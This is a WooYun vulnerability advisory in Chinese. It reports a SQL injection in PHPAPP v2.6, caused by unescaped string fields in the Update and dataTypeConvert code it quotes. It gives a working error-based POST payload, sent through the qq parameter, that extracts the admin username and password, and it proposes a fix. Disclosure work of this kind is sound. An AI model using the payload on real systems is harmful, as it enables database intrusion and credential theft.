当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088187

漏洞标题:PHPAPP注入第一枚(无视过滤)

相关厂商:PHPAPP

漏洞作者: 路人甲

提交时间:2014-12-24 12:09

修复时间:2015-03-24 12:10

公开时间:2015-03-24 12:10

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-24: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

PHPAPP注入第一枚(无视过滤)
前面提交的时候弄错了,和乌云小秘书商量后,让我重新提交一次,希望2014-12-20提交的那个不要通过审核啊,把这个通过了吧

详细说明:

在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。
PSOT注入点:wwww.xxx.com/member.php?app=2&action=40, 存在漏洞的文件在/phpapp/apps/member/member_phpapp.php
下面分析一下漏洞产生的原因

public function SetInfoAction(){

$member=$this->GetMysqlOne('*',"".$this->GetTable('member')." WHERE uid='$this->uid'");

$usergroup=$member['usergroup'];

include_once(APPS.'/member/class/member_phpapp.php');

$mf=new MemberFunction();

$membertable=$mf->GetTypeNameMember($member['usertype']);


if($this->POST['Submit']){
$this->POST['about']=$this->str($this->POST['about'],600,1,0,1,0,1);

$this->POST['homepage']=$this->str($this->POST['homepage'],255,1,0,1,0,1);
$birthday=strtotime($this->POST['Year'].'-'.$this->POST['Month'].'-'.$this->POST['Day']);

$this->POST['birthday']=$birthday;

无关代码

$this->Update('member',array('userpost'=>$this->POST['userpost']),array()," WHERE uid='$this->uid'");

$this->Update('member_info',$this->POST,array()," WHERE uid='$this->uid'");

if(!$this->IsSQL($membertable['table_phpapp'],"WHERE uid='$this->uid'")){

$this->Insert($membertable['table_phpapp'],array('uid'=>$this->uid,'about'=>$this->POST['about']),array());

}else{
$this->Update($membertable['table_phpapp'],array('about'=>$this->POST['about']),array()," WHERE uid='$this->uid'");
}
无关代码


先把用户post的内容中的几个参数用str函数处理,str方法对用户输入的数据进行了过滤,做了防注。
再往下看,看到了这句$this->Update('member_info',$this->POST,array()," WHERE uid='$this->uid'");把整个post的内容带入了Update方法,再去看看Update方法,/phpapp/apps/core/class/mysql_class_phpapp.php

//表名, 修改数组,添加合并数组,条件
function Update($tablename,$setarray=array(),$addarr=array(),$whereif=''){

$setarray=array_merge($setarray,$addarr);

$deletearr=$this->GetMysqlFieldArray($tablename);

if($setarray){
$sqlset='';
foreach($setarray as $key=>$value){
$_key=strtolower($key);
if(isset($deletearr[$_key])){
$value=$this->dataTypeConvert($value,$deletearr[$_key]);
if($sqlset){
$sqlset.=',`'.$_key.'`=\''.$value.'\'';
}else{
$sqlset='`'.$_key.'`=\''.$value.'\'';
}

}
}

$query=sprintf('UPDATE %s SET %s %s',$this->GetTable($tablename),$sqlset,$whereif);
//exit($query);
return $this->MysqlQuery($query);

}else{
return false;
}
}


Update代码防注分析:
1、通过GetMysqlFieldArray方法获取数据表的所有字段名及每个字段对应的属性;
2、判断用户post的内容中的key是否是数据表中的字段名,防止了key的注入;
3、通过dataTypeConvert方法把用户提交的数据按数据表中各字段的类型进行防注转换。
如果以上每一步的代码都正确实现了的话,应该是没有办法注入的,但是这里的第3步中,也就是dataTypeConvert方法的实现时有疏忽,看下面代码。

function dataTypeConvert($data,$type){
switch($type){
case 'int':
$data=intval($data);
break;
case 'real':
$data=doubleval($data);
break;
case 'timestamp':
$data=intval($data);
break;
case 'string':
case 'year':
case 'date':
case 'time':
case 'datetime':
case 'blob':
default:
//$data=intval($data);
break;
}
return $data;
}


只对int、real、timestamp做了处理,其他的类型这里没有处理。
绕过方法:
因为正常提交时的几个参数(about、homepage、Year、Month、domainname)在代码中都使用str方法进行了防注处理,在提交http请求时,可以提交其他的参数,但其他参数必须是数据表(phpapp_member_info)中的字段,且类型不是int、real、timestamp的参数。这里有多个参数可以使用,如avatar、qq、icq、phone、mobile、msn、certificate 7个参数可以注入。
下面以qq为例进行证明:
Phpapp可以显错,那就用error-based blind进行注入。
Pyload:(POST提交)

Submit=1&about=a&homepage=b&Year=1990&Month=12&Day=23&domainname=123aiw&userpost=34a5&qq=1' or(select 1 from 
(select count(*),concat(floor(rand(0)*2),(select concat(0x23,username,0x23,password)from phpapp_member limit 0,1))a
from information_schema.tables group by a)b) or'


注入成功,管理员用户名及密码如下图中所示:

注入成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

完善dataTypeConvert方法

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝